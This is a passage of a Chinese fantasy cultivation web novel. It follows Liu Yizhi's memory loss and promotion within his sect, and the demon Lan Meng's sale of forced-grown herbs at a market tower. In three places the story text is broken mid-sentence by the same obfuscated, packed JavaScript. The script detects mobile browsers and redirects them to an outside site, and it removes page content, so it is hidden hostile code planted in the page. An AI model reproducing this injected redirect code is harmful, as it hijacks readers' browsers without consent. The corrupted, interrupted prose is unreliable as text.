柳逸直沉默着合上了车夫的眼睛,刻意放重的脚步声从身后传来,他转身一看,只见一个身穿白衣、仙气飘飘的人走了过来。他容貌俊美,眼前系着白色绸带,墨色长发半绾着披散在身后,腰间斜挎着一个浅色书袋,书册的一角露了出来。 那人连发三问,声音如飞泉鸣玉般悦耳:“为何不动手?为何对魔物仁慈?为何置自身于险境?” “洛师兄。”柳逸直喊道。 洛山俊秀的眉头紧紧蹙起,他生气道:“回答吾的问题。” 柳逸直嘴角微抽,无奈回答:“想到了一些往事。”他没有展开话题,闪至洛山跟前,扯了扯他腰间的书袋,问道:“今天扮演的是谁?盲眼书生寒窗苦读十年,一语道破玄机,立地为书仙?” 洛山伸手扯开蒙在眼睛上的丝绸,拍了拍柳逸直的肩膀笑道:“知我者,逸直也。” 柳逸直伸手抽出了他书袋里的两册书一看,讶异地张了张嘴巴,好笑道:“御前带刀厨子?骑猪看夕阳?这不是坊间流行的话本么?” 洛山神色平静地将书册抢了回来,塞到书袋里,冷冷瞥了他一眼道:“读书人的事情你少管。” 言罢,他撞开柳逸直的肩膀大步走到了道零身前,一根半透明的法杖凭空出现在他手心,像是穿过时空的迷雾应召而来,那根法杖顶端嵌着一颗明珠,外侧绕着金黄色的光环,古朴的花纹爬满杖身。 那便是暾云炬的投影。 明珠光芒大作,一道道圣洁的光笼罩住了道零的身躯。丝丝缕缕的魔气被逼出了道零的身体,凝结成一道道鬼脸,在光芒照射下撕心裂肺地吼叫着,像无头苍蝇一样横冲直撞,却始终逃不出光芒围成的禁牢。几息时间过后,鬼脸便如水汽般蒸发消弭了,而道零的身体迅速干瘪,仅有一层薄薄的人皮贴着骨头,然后洛山用暾云炬的底端轻轻敲了敲头骨的眉心,道零的干尸瞬间湮灭成了齑粉,风一吹便什么都不剩了。 而禁锢道零的蔷薇藤也迅速枯萎了。 洛山松开手掌,暾云炬的投影便化作流萤消散了,他拍了拍手掌,像是终于解决了心头大患,肩膀迅速塌陷下去,完全没有了方才“盲眼书仙”的翩翩风姿。 “累死爷了……”他嘟囔道。 余光瞥见柳逸直走远的背影,他扬声问道:“你上哪去?” 柳逸直扭头道:“我去看看四周还有没有敌人在。” 洛山朝他招了招手,“回来,你以为我想不到这一点吗?黄兆宜已经带人去了。” 黄兆宜是黑令卫尉,同属巽崖,柳逸直同他的关系还算不错。 于是柳逸直又折回了洛山身边。 洛山本想席地而坐,刚做出个下蹲的动作,忽然想起来自己的人设是风度翩翩的“书仙”,于是五指一抓,地上的枯枝残木便自动聚集起来变成了一张椅子,他施施然在椅子上坐下,语气郑重道:“说说吧,到底发生了何事?” 柳逸直想了想道:“我完成任务返回宗门的途中,遇到了翟子续和娄雪沁,他们两人说遇到了一个人贩子,于是我就和他们一道,跟踪此人来到了屏基山,进了山顶宅院的井里。” 正襟危坐没多久,洛山便正经不下去了,他翘着二郎腿、单手托腮,道:“继续。” “在地下迷宫里,我们发现妖榕藤蔓将孩童裹成‘茧’吊了起来,以藤丝吸取他们的真元,一个山魑小妖告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929602|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了我们道零用孩童真元炼制造化丹的事情,我们还和山魑做了一笔交易,去帮他救被道零囚禁的……” 柳逸直忽然闭上了嘴。 洛山等了半晌也没听到后话,抬眼望着站在自己对面的柳逸直,疑惑道:“怎么不说了?去救谁?” 柳逸直呆呆道:“我忘记了。” “啊?”洛山脸上浮现了大大的疑惑。 这才过去多久啊,他说他忘记了?洛山气得抓起手边的树枝朝着柳逸直的屁股打下去,却被后者灵活地躲开。 “你的意思是,从离开那个树洞开始,到刚刚苏醒,这期间的记忆全没了?” 柳逸直点了点头。 洛山的目光在柳逸直全身上下扫了一遍,他凑近一闻,点头道:“嗯,有醉流霞的味道。” “醉流霞?”柳逸直发出疑问。 “寻芳不觉醉流霞,倚树沉眠日已斜。客散酒醒深夜后,更持红烛赏残花。”洛山仰头望月,吟诗一首。 柳逸直神色古怪,直言问道:“啥意思?一个人在寻花问柳的时候,得到了这张药方?” 四句诗太长,他从中找了几个关键词以便理解:寻芳,沉眠,酒醒,红烛。结合他为数不多的知识,这些词语组合起来,应该是寻花问柳,红袖添香的意思,吧。 洛山看着柳逸直,眼中饱含震惊、复杂、无语等多种情绪。 开玩笑的吧?他一个学富五车、博古通今的读书人,怎么会教出来这样的蠢货? 后背拔凉拔凉的,柳逸直下意识挺直了腰杆,仿佛又回到了被对方教导功课的日子。 他初入山到源时不过六岁,因为灵根特殊,拜了山到源唯一的风灵根修士风菱衣为师。可这个便宜师傅时不时仗剑纵马、游览大好河山,十天半个月也不回来,于是就把他丢给了当时的焱堂从事洛山照看。 他打小就不通诗文,一听到“之乎者也”就头疼,可这又是洛山的爱好所在,最喜欢教他念诗读词,每到他在理解诗词上犯什么错,洛山便会默不作声用那种眼神看着他,对,就是那种看傻子的眼神。 柳逸直转动眼珠瞄了对方一眼,又缓缓将眼睛转了回来。 很好,还在生气。 最终,洛山率先败下阵来,他解释道:“醉流霞是一种迷药,无色无味,立竿见影,出自现任留命堂堂主尹峰,那首诗也是他的妙笔。” 柳逸直对诗词一窍不通,和他谈诗论词可谓是对牛弹琴,他只能搜刮肚子里为数不多的墨水,赞叹道:“啊!尹堂主之笔下,字字珠玑,意境深远,真是一篇了不得的佳作!” 洛山竭力忍住了无奈扶额的动作。 算了算了,他肯为自己花心思就够了。 这时,娄雪沁和翟子续也清醒了过来,洛山依次询问了他们,发现他们和柳逸直一样,缺失了那段时间的记忆。 “记忆封禁术啊……”洛山呢喃道,手上无意识摩挲着柳逸直从怀里掏出来的玄灵果。 只有破妄境修为及以上的修士才能使出这种术法,看来那妖来头不小啊,既有如此修为,为何会被一个入了魔的邪修囚在地底?恐怕是另有所图,也正因如此,那妖才要封禁目击者的记忆,防止秘密泄露么?既如此,又为何一不做二不休,干脆杀了他们三人?这可比记忆封禁术要省事得多,替罪羔羊可是有现成的。 不过这也表明此妖并非弑杀之辈,而且还不想和山到源为敌。 他将玄灵果抛给柳逸直,道:“这果子没问题,你们三个放心吃吧,应当是那妖族给的赔礼。” “这样的啊。”翟子续懵懂道,他用袖子擦了擦玄灵果,干脆利落咬了一口,竖起大拇指赞道:“好吃!” 娄雪沁无奈扶额。 真是没眼看。 不过,好歹是活下来了,回去以后得上落霞坞大吃特吃一顿才行! 7. 山到源 由于柳逸直三人记忆的缺失,“造化丹”一案只能潦草结案了。道零和服食过造化丹的人全都死了,幸存的凡人对造化丹更是毫不知情,丹灵卫在屏基山蹲守三天也没有发现可疑的人靠近,似乎是没有其他同伙,碍于没什么线索,也解不开柳逸直三人的记忆封禁术,洛山拍板结案,众人一道回山到源述职。 山到源位于风景秀丽的陵州,幅员辽阔,占据陵州西侧人迹罕至的十万大山,门下分为八峰。 乾霄阁乃第一峰,由源主左愁双统领,是宗门议事、接待外宾的地方。 坤仪堂发布任务、处理宗门各种事宜,是最忙碌的一峰,山主叶于明。 巽崖统辖所有丹灵卫,山主梁齐安。 霆霓坊俗称戒律堂,犯错的弟子和捕获的邪魔都由山主彭隽惩处。 药庐、藏典阁、法器库都位于清瑶宫,山主羊玄。 焱堂是培训新弟子,也就是丹灵卫白令的地方,山主临琮。 落霞坞管钱管饭,膳堂和弟子宅舍皆位于此,由山主檀阜管辖。 最后是崤山,山到源禁地,暾云炬便是矗立于崤山之巅,峰顶先贤祠内有历代山主、掌炬和丹灵卫之佼佼者留下的传承。 崤山之上只有山主玉成汝一人,他曾是暾云炬之主——山神烛阴座下的神使,烛阴将暾云炬赐给山到源之后便登天了,将玉成汝也一道留在了山到源守护暾云炬,这一守便是几千年。世人不知玉成汝修为几何,是人是妖,他甚少走出崤山,常年在山巅雪洞之中沉睡。 传闻已故掌炬尧玦便是他请到山到源的,而尧玦在位三百四十年,是所有掌炬中任职最久的一位,他也是山到源史上最惊才艳艳的掌炬,诛杀了无数邪魔,二十年前还只身一人闯进九幽,没人知道他在里面做了什么,然而三年后他便猝不及防地在讨伐入魔的青丘狐族一战中陨落了,实乃九州一大憾事。 那一天是六月二十一,夏至时节却天降大雪,万兽同悲,当真是千山鸟飞绝,万径人踪灭。大雪连绵三日不停,待第四日晨时,积雪却在转眼之间消弭一空,仿佛从来没有出现过一般,世人都道那是天地为尧玦举行的葬礼。 没人知道,尧玦陨落不久,天降薄雪之时,玉成汝再一次出山,来到青丘英水河畔,将一个六岁孩童抱回了山到源,便是柳逸直。 自那之后柳逸直再没有见过玉成汝,他也装作无事发生,只当一个普普通通的焱堂弟子,学成之后考入丹灵卫,修炼、执行任务、游山玩水,按部就班,偶尔偷懒,直到从屏基山回来,向坤仪堂提交结案书之后,被梁齐安叫到了巽崖崖顶的大殿之中。 为了保证自己在丹灵卫面前的威严,不过五百多岁的梁齐安将自己打扮成了仙风道骨的山羊胡子老爷爷。老爷爷坐在大殿中央,手里捧着一碟花生,两指捻起来吃了一颗,不紧不慢朝站在殿中央的柳逸直道:“下个月就要选拔新的丹灵卫了,这事你知道吧?” 柳逸直不知道他卖什么关子,答道:“弟子知道。” 梁齐安又往嘴里扔了一颗花生,暗示道:“溯回试炼还差一个稽查。” 柳逸直伸手指了指自己:“我?” 梁齐安将本要送进嘴里的花生扔在了柳逸直头顶,怒目圆瞪道:“不然老夫找你干哈!” 站在梁齐安身后的巽崖从事秦缪“噗嗤”一声笑了出来,梁齐安扭头幽幽看了他一眼,秦缪立即合上嘴巴,挺直腰杆,眼观鼻、鼻观心,只管做一个不笑不说话的真人雕塑。 梁齐安回过头,一言不发地盯着柳逸直。 柳逸直道:“稽查至少都是持黑令的卫尉,弟子不过是个青令游走,恐怕力有不逮。” 他完全没料到自己一番说辞直接点燃了梁齐安的怒火,于是遭到了更猛烈的花生米攻击。 梁齐安边用花生米打人边吹胡子瞪眼道:“别以为老夫不知道,你手里还有多少功勋没有上报!早两年前你就能晋升卫尉了!” 梁齐安简直气不打一处来。柳逸直六岁进入焱堂,十年前就进了丹灵卫,到现在居然还只是个小小的游走!成日往外跑,一年三百六十五天,有三百天都在外面瞎晃悠!要不是他派人去调查了一下柳逸直接下的任务和上报功勋的记录,他都不知道柳逸直两年前就攒够晋升黑令的功勋了! 柳逸直尴尬地挠了挠鬓角,任凭梁齐安将整盘花生米都扔在了他的脑袋上。 没了花生可扔,梁齐安正要把盘子也扣到柳逸直头上去,手刚举起来,秦缪就机灵地把空盘子接了过去,然后低着头,眼观鼻,鼻观心,不说话。 梁齐安:“……” 眼见着梁齐安又要发脾气,柳逸直忙道:“弟子明白了,到时候会去的。” 梁齐安看着他俩这一唱一和的,心头的火不仅没消,反而越发高涨了。可柳逸直答应得爽快,见风使舵的本事一流,他也不好再说些什么,于是只好骑驴下坡道:“知道就行,这段时间内你给我老老实实待在宗门里,哪也不许去!” 柳逸直乖巧地应承下来。 梁齐安气呼呼甩袖走了,秦缪走到柳逸直身边,拍着他的肩膀笑道:“柳师弟,可要记得去坤仪堂兑换功勋呀。” 柳逸直白他一眼,推开他的手,没好气道:“秦师兄,我攒着功勋没兑换这事,就是你告的密吧?” 秦缪连忙摆手否认:“没有的事,这可是山主自己发现的!” “只不过?”柳逸直接下话头,双手环胸拿审视的目光看着他。 秦缪嘿嘿一笑:“只不过山主为稽查的人选头疼得很,作为山主的左膀右臂,我总得为山主分忧吧?就只是,稍微提了一嘴,不少弟子会攒着功勋不上报的情况嘛,你只是恰好撞在枪口上而已。” “说起来,”他学着柳逸直双手环胸,看着对方啧啧道:“问题还是出在你身上,谁让你不想晋升还接那么多任务,这就叫咎由自取。”最后四个字他特意拖长了。 柳逸直无奈叹气。他确实不想过早晋升,级别升高意味着有更多的活要干,可是不接任务没有理由出门,整日在外面无所事事也不合适,万一东窗事发,不仅他会受到处罚,还会连累师傅被问责,别人就会说风菱衣一个堂堂令尹竟然教出来这么个尸位素餐的混账,这会让他良心不安,虽然风菱衣本来也不怎么管他就是了。 算了,反正他近期也有兑换功勋晋升的打算。藏典阁一共十八层,山水令级别越高,能登上的楼层越高,目前他只能登上五楼,已经找不到适合他的功法秘籍了,得去接触更高层的高阶功法才行,他不能一直在知行境大圆满停滞不前了。 从巽崖离开后,柳逸直又回了坤仪堂。既然要兑换功勋,那便趁早吧,反正这一个月没法出门了,正好去藏典阁修行。 负责功勋兑换的是楚乐楚从事,据说她曾经也是一个活泼爱笑的妙人,十多年前心爱之人忽然枉死之后她便性情大变,不爱说话也不爱搭理人,整日阴沉着脸,一丁点小事都会让她大发雷霆,弟子们都对她避之不及,于是她就被调出了任务堂,处理兑换功勋这样不用时时刻刻与人打交道的清闲活。 “山水令,记录条。”楚乐冷冰冰道。 完成任务,上交结案书之后,任务堂就会返还言明功勋点数的记录条,上面还加盖山主印,避免有人浑水摸鱼。 柳逸直恭敬地将山水令和十多张记录条递了过去,楚乐确认无误过后,将山水令放到了手边的阵法上,没多久青色的令牌便成了黑色,即刻起柳逸直便是黑令卫尉了。 楚乐一言不发将山水令递了回来,柳逸直道了句谢便离开了,全程两人就各自说了一句话。 虽然楚师姐性情冷酷,令人望而生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929603|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 畏,可办事效率极其高啊,柳逸直忍不住在心里感叹道。 在山到源中需要悬挂山水令以证身份,于是柳逸直没有同往常一样将令牌收进芥子袋里,而是挂在了腰间。 山到源占地广阔,两峰之间相隔甚远,宗门内又不允许御剑飞行,所以落霞坞驯养了千余只灵鹤供弟子往返各峰之间,它们通常都在半空中飞舞徜徉,只要吹一声口哨,朝它们招招手,它们就会飞下来了。 通常情况下,柳逸直都是自己踏风飞行的,他的速度比灵鹤快不少,不过连着忙了好几天,他也确实有些累了,招来了一只灵鹤坐骑,打算回家休息。 “旺财?”他翻开灵鹤脖子上的玉牌,念出了它的名字,灵鹤长啸一声,似在回应。 柳逸直嘴角略抽,这谁起的名字? 玉牌内储存着灵鹤的性格特点和饮食习惯,他往其中输入一道灵气,玉牌上便浮现了一段话: 旺财是一只喜欢吃花生米的乖巧灵鹤,如果你遇到旺财,请给它喂炒花生(别喂生的,会被啄)并夸它:好狗! 柳逸直:“……” 他想起来离开焱堂后才发现自己头发和衣襟上掉了五粒梁齐安的花生,他顺手塞到腰带里了,于是拿出花生米往空中一抛,旺财立即伸长脖子去啄,五粒花生一个不落,全被它吃进了嘴里,旺财高兴地原地转了一圈,望着柳逸直似乎在等待夸赞。 柳逸直脱口而出:“好狗!” 旺财仰头“嘎嘎”两声,瞧着十分开心。 柳逸直无奈扶额。偶尔回舅父家时,表兄就是这么逗他养的名叫“小咪咪”的大黄狗的,自己怎么下意识就喊出来了…… 他跃上旺财的背,摸了摸它的脖子道:“去落霞坞。” 旺财扑腾了一下翅膀便驮着柳逸直飞上了高空,不多时便来到了位于山到源最南端的落霞坞,看到那棵已经开始变黄的巨大枫树时,他拍了拍旺财,一人一鹤俯冲向下,尚未落地柳逸直便跳下了旺财的背,他提步朝枫树下的木屋走去,听到身后悉悉索索的声音,回头发现旺财在啄他家门口栽种的菊花,它也不吃,就啄着玩,还专门盯着尚未开放的花苞霍霍。 ……算了,随它去吧。 三个多月没回来,虽然设下了禁制,但屋里还是积了一层灰,柳逸直不喜欢拖延,里里外外打扫了一遍。被子被褥抱出去晒太阳,给花浇水,擦洗书柜和桌椅,做完这些,天色已经暗了。 很多人不明白,修行之人就该专注于修行,匡扶正义,明明一个除尘诀就能解决的事情,他为什么要不辞劳苦地亲力亲为。每当被问到这种问题的时候,柳逸直向来是笑笑就过去了,他这样做的原因也不是“一屋不扫何以扫天下”,因此,很少有人知道,这间屋子原本是前任掌炬尧玦的住所,更无人知晓,尧玦是他的救命恩人。 如今十七年过去了,时间会抚平所有伤疤,当年的大雪没有留下任何痕迹,再过不久,暾云炬选出新的掌炬,尧玦此人也会被遗落在历史的尘埃之中了吧。 惆怅了一小会,柳逸直重新抖擞精神,打算去藏典阁看书。正收拾芥子袋的时候,他瞥见了角落里古朴典雅的首饰盒,那是他母亲的遗物,里面放了不少重要物品,所以他一直随身携带。 他抽开最下面格子,从其中拿出了一个扁长的木盒,里面放着一片通体金黄、仅尾部泛红的羽毛,那是重明尾羽,尧玦救下他时送给他的。 手指刚碰到那片尾羽,他便感觉头疼欲裂,整个人跌倒在地上。 澄澈如雪湖的瞳孔,张牙舞爪的木龙,神秘古朴的旧书……无数画面涌入他的脑海里,点点光芒从虚空汇入了他的眉心。 一盏茶时间过后,柳逸直才扶着凳子直起了身,他满头大汗,喘着粗气,却轻轻笑出了声。 什么嘛,这不是记起来了? 8. 万象斋 八月十七,按云城。 沂州多河道,水路四通八达,城镇多傍水而建,按云城也不例外。沔江从按云城中部穿过,江畔浅水处荷花铺满了河道,岸边阁楼林立,最气派的当属天下第一商行万象斋的九层玄塔。 只见那玄塔矗立在岸边,在一干低矮瓦房之中如鹤立鸡群。琉璃瓦在阳光下熠熠生辉,拳头大的东珠高悬于檐牙之上,下面坠有精致的碎玉,在风中碰撞出清脆的响声。 和玄塔同一条街的客栈内,化成一团黑雾的山魑趴在客房窗户边,暗中窥探着那座高耸的玄塔。 “真是气派啊……”他转回头,看着坐在梳妆镜前的闫扶音,问道:“喂,为什么我不能和你一起去啊?” 岚孟捯饬着被斩断的发丝,怎么修剪都不满意,右半边头发断了一半,而左半边头发却完好无损,她一气之下将左边头发也斩断了,三千青丝簌簌飘落,尚未落地便化作虚无消失了。 她道:“你这样子可不适合去吓唬凡人,还是等我回来吧。” “哦。”山魑恹恹道。 岚孟换了身干净的布衣便推门离开了,一走到阳光下便感觉眼睛一阵刺疼,她伸手挡住,心中默默叹了口气,然后快步走到了万象斋玄塔前面。 万象斋不仅做凡人的生意,也做修士的生意,因而开辟了一个专门供修士交易的地方,叫做“半月榜”,每半个月更新一次,张贴于玄塔门口,分为售卖、悬赏两栏。卖家可以在“售卖”一栏寄卖物品,而若是求购某物,则可以发布悬赏,两者都由万象斋出面交易,这样买卖双方都不用担心自己的身份信息会暴露,只不过要收取交易价格十取一的佣金。当然也有些人不愿意让万象斋赚这个差价,或者因个人原因不愿意让万象斋插手,那就可以留下联系方式,同交易人当面交流,这样的话万象斋就不会提供其他帮助,比如鉴定交易物的真伪和价值,所以不少人都会倾向于选择委托万象斋。 此时半月榜前喧闹异常,修士们热火朝天地讨论着什么东西定价贵了,什么东西物美价廉,也有人揭了悬赏,兴高采烈地飞奔到万象斋里兑钱。 “怎么这么多求购灵药的?” 岚孟看着半月榜呢喃道。 她收敛了妖气,头发和眼瞳都变成了黑色,看着就和普通人族小姑娘没什么区别。 她旁边是个扎着蓝色头巾的男子,似乎是在回答她的疑问,语气里含着一丝不屑:“因为都是留命堂弟子悬赏的,三年一度的杏林大会你都不知道?” 岚孟皱眉道:“这我还真不知道。” 或者说近十多年来的兴起的新事物她都不了解。她闭关沉睡了十七年,两个月前才被今望月唤醒,所以这些年兴起的新鲜玩意她一概不知,走在繁华的街道上,她总有中土包子进城的感觉。 有好心人解释道:“留命堂每三年便会挑选一个地方,召集一些患有疑难杂症并且愿意试药的人,让弟子给他们治病,一方面造福百姓,一方面还能测试弟子的医术。今年终于轮到咱们按云城啦!今年可能遇到了什么难以解决的病症吧,留命堂的药修不仅在按云的万象斋悬赏,其他城池也有不少他们的人哩!” “这样啊。”岚孟若有所思地点点头。 “子午莲,狐惑草,三生花……这些药材都不常见,什么病症需要用到这般奇怪的药材?不过赏金倒是颇为丰厚,一朵子午莲就要一千灵石。” 头巾男子轻轻哼了一声,神色高傲道:“子午莲生长在至纯至净、无污无垢的水域中,在下找了半个月,费了九牛二虎之力,才找到了一株子午莲。” 周围立即有人恭维道:“兄台果真厉害!那这一千灵石的赏金非你莫属了!” 头巾男子尽情享受着周围修士的恭维,结果那个乡下姑娘已经走出了人群。他方才就觉得那姑娘的口吻风轻云淡的,仿佛那些不常见的药材于她而言也算不了什么大事一般。于是他挤出人群朝万象斋大门走去,路过她的时候还嘚瑟地挑了挑眉。 岚孟纳闷地回望他一眼,并不理解对方是何用意,她也没放在心上,一边从自己的妖境里掏东西,一边走进了玄塔。 人、妖两族修炼有很大不同。妖族生来便有“妖境”和“天赋”,能吸纳的天地灵气也只有一种。而人族修士只有到了闻道境才能开发“领域”和“灵技”,人体对五行灵气皆有感应,可以根据自己对各灵气的亲和程度来决定自己修炼哪个属性,有能力者甚至可兼修多种属性的术法。 不过自从不周山倒塌、天柱倾斜以来,九州大地的灵气愈发稀薄,不足以供养诸位古神,他们只好飞升上界,只留神使驻守在神邸,而后来的修士们修炼时也大多只能十中取一了,很少有人能在灵气稀薄的苦修时代修炼两种或以上的灵气术法了。 显而易见,岚孟乃是木属性,天赋是“万物生发”。只见她从妖境里抓出了一把奇形怪状的种子,从中挑出来自己需要那一颗,手腕处一根细细的蔷薇藤探了出来,包裹在种子上,往里面源源不断地输送着灵气。那蔷薇藤是她的伴生灵物,可以直接取用天地灵气,不需要再用其他手段将妖气转化为灵气用来催生。 那颗种子在她手心里破壳发芽,抽长枝条,一朵含苞待放的蓝色花苞赫然立在手心,而岚孟的脸色也逐渐惨白,心想赚钱可真不容易啊。她抖落袖子盖了上去,让花朵在她袖中慢慢生长。等到她走到六楼柜台时,手心里赫然是一朵盛开的紫蓝色莲花,娇艳欲滴,仿佛刚从莲池里捞出来一般。 头巾男子看看自己费尽千辛万苦寻来的已经半蔫的莲花,又看看岚孟手里娇艳欲滴的莲花,两相比较之下,一个像是半死不活的病秧子,另一个则是正当大好年华的意气少年,昂扬着脑袋,向全天下宣告自己的胜利。 男子震惊地张大了嘴,手动合上了下巴,心想,没事的,这子午莲他比不过,不还有狐惑草么?他可是在悬崖边蹲了三天才采得这一株,还怕比不过一个丫头片子么…… 他抬手将垂落身前的头巾系带甩了回去,胆气复健,伸手将狐惑草从芥子袋里取了出来。 几乎是同一时间,两只手分别将一株狐惑草放到了桌子上。 岚孟看了头巾男子一眼,在他惊诧目光的注视下,在袖子的遮掩中,将东西一件一件从妖境里拿了出来。 鬼哭穹叶,三生花,不知藤……她一口气拿出了十余种灵药,几乎铺满了整个桌面。 头巾男子踉跄了一下,手扶在柜台上才稳住了身形。 这,这人居然将半月榜上悬赏的所有灵药都找来了?可方才她话里的意思,是第一次看到半月榜啊! 岚孟拍了拍手,像是在拍打泥土一般,但无论是她的手掌还是那些药材上都没有一点泥土,她朝掌柜仰了仰下巴,道:“清点一下吧。” 掌柜的震惊也不比头巾男子少,他在万象斋干了这么多年,还是第一次见到有人一次性拿出这么多灵药。有些生长地险恶万分,千金难求;有些不值钱,但是极其孤僻,他将名字刊登上榜时还怀疑了半天,是不是买主写错了…… 好歹是见惯了大世面的掌柜,他很快就整理好了情绪,和善问道:“阁下是想让万象斋出面交易对吧?” 岚孟点头道:“是,你检查一下,没问题的话,现在就结账吧。” 掌柜眼珠一转,所有价格在他脑中飘过,他估算了一下,万象斋能抽成两千五百灵石!其中有两成是他的!哈哈!开心! 于是掌柜喜滋滋地开始检查灵药。 头巾男子呆愣在原处,他心想,什么乡下小妞,明明是他发财路上的拦路虎…… 掌柜很快便清点好了,直接从柜台里拿了一个芥子袋,笑呵呵道:“阁下的灵药品质极好,相信买家一定会满意的,这是您应得的五万灵石。” 岚孟点了点头,接过芥子袋便走了出去。 头巾男子看着她消失在楼梯拐角,蓦地叹了口气,还真是人外有人,天外有天啊。这时,掌柜拍了拍他的肩膀,问道:“阁下,你的狐惑草和子午莲还卖吗?万象斋可以收购。” 头巾男子喜上眉梢,嘴角咧到了耳后根,答道:“卖卖卖!” 岚孟将芥子袋提在手里,走到楼梯口时,望向拐角处站着的一个人问道:“你有什么事吗?” 那人怔愣了一下,似乎是没想到对方居然发现了自己一直在旁观,他脸上浮起几分挣扎,纠结片刻,然后出言问道:“这位姑娘,你有千叶菩提花吗?” 岚孟挑眉问道:“何出此言?” 那人腼腆一笑,挠了挠头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929604|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“其实我也不知道姑娘你有没有千叶菩提,只是察觉到你拿出来的灵药不含一丝土灵气,而是纯净的木灵气,因而猜测那些都是你催生的罢了。” 这下换做岚孟大吃一惊了。能看出来这层关系的人可不多见,就连刚刚那个见多识广的万象斋掌柜都没有发现,这个人看起来年纪轻轻,眼神倒是毒辣得很。 她笃定道:“你是留命堂的弟子。” “在下留命堂言如期,不知姑娘怎么称呼?”言如期朝岚孟拱了拱手。 岚孟道:“在下闫扶音。” “闫姑娘,”言如期饱含期待地看着岚孟,“所以?” 岚孟思虑片刻,道:“你该知道,千叶菩提虽有清心静气的功效,却是生长在干燥炎热的火山口,就算是知行境修士在这样的地方待久了必然心浮气躁、情绪反常,被魔气侵蚀的概率也会加大,而且千叶菩提一百年才开一次花,周遭还有火系妖兽环伺,采摘果实极其困难。我可以给你一朵,但你又能拿什么来交换呢?” 言如期眼神清澈:“灵石?” 岚孟摇摇头道:“我不缺灵石。” 这倒是让言如期犯了难,他最不缺的就是灵石了,本来还想着就算她狮子大开口,要价几千几万灵石他都付得起来着。 “不若这样,”岚孟打破了沉默,“我给你一朵千叶菩提花,你帮我看一次病,如何?” 言如期脱口而出:“姑娘有病?” 他一下子就意识到了话中歧义,血色顿时攀上脸颊,他连忙摆手解释道:“我不是那个意思,我说是,谁有病?不是不是,是谁身体不舒服?” 岚孟忍俊不禁道:“他就在不远处的客栈里,你能去那看一下吗?” 见她没有生气,言如期这才放下心来,脸上薄红也渐渐消去,点头道:“可以,不过我得回去拿一下药箱,半个时辰后可以吗?” 岚孟点头道:“你直接到云都客栈就行。” 言如期朝她挥手告别:“那我先去了,闫姑娘,待会见。”说完他就“蹬蹬蹬”跑下了楼梯。 岚孟不禁感叹道,真是朝气蓬勃的少年人啊。 她下到四楼,径直朝柜台的伙计道:“我要一套雕刻工具,一根半臂长的百年槐树芯,还有用鲛云纱制成的帷帽。” 鲛云纱由东海鲛人一族织造,比起能化作珍珠的鲛人泪、入水不湿的龙绡纱来说并不是什么稀罕物,鲛云纱也只有一个功能——遮挡强光,对眼睛不好、受不了强光刺激的人有奇用。 “好咧,您稍等。” 其中一人跑去拿东西了,另一人则朝岚孟道:“姑娘,鲛云纱帷帽需要定制,工期三天,您可以后日再来拿。” 岚孟皱眉道:“为何要等三天?” 伙计解释道:“小店的鲛云纱和帷帽是两种产品,您需要的话得定制。” 岚孟在脑海里搜索了一下自己为数不多的经历,问道:“是不是得定制款式、花样子,再找绣娘缝制?” 伙计点头道:“是的。” “不用这么麻烦,你就给我找一顶做好的帷帽,把纱帐拆了换成鲛云纱就行,不用整那些花里胡哨的,我着急用,可以出两倍价钱。” 岚孟将刚刚拿到的还热乎的芥子袋放到了柜台上。 这下伙计明白她的意思了,从柜台里拿出来一个木盒,将一顶平平无奇的竹篾帷帽展示给她看:“这样的可以吗?是用覃墨竹制成的,冬暖夏凉,可舒服哩!” 不知美丑的岚孟完全不知道这是万象斋卖不出去的款式,毕竟现如今的姑娘们大都喜欢精巧雅致、可以彰显自己审美的帷帽,这种普普通通、没有任何花纹的竹篾帷帽早就入不了她们的眼了。 她将帷帽扣到自己头顶试了一下,很好,不松不紧,于是拍板道:“就这个吧。” 把东西拿出来的时候伙计还很忐忑,在听到岚孟的话时还愣了一下,但是一秒过后内心迅速被欣喜占满,他热情地将岚孟领到供客人休息的地方坐下,咧着大嘴笑道:“那姑娘坐在这里等一会就可以了,我马上回来。” 然后便哼着小曲一蹦一跳离开了。 一盏茶时间过后,岚孟拿到了可以遮光的鲛云纱帷帽,伙计卖出了积存已久的货物,双方都很满意。 9. 缘生缘 岚孟戴着帷帽径直回到了云都客栈。甫一打开房门,一团黑雾就从房梁上飘了下来。 “阿音!你可算回来了!我都要无聊死了!” 山魑热情地在岚孟身侧打转,要是它有尾巴的话早就摇得欢快异常了。 “怎么样怎么样,你买到了吗?” 岚孟将那块槐树芯和雕刻工具放在桌子上,山魑立即欢呼起来,黑雾变成了小狗、黑马、大乌龟等多种形状,它还能将自己分成两三个部分,分别变成不同的事物,一只妖就能唱一台戏。 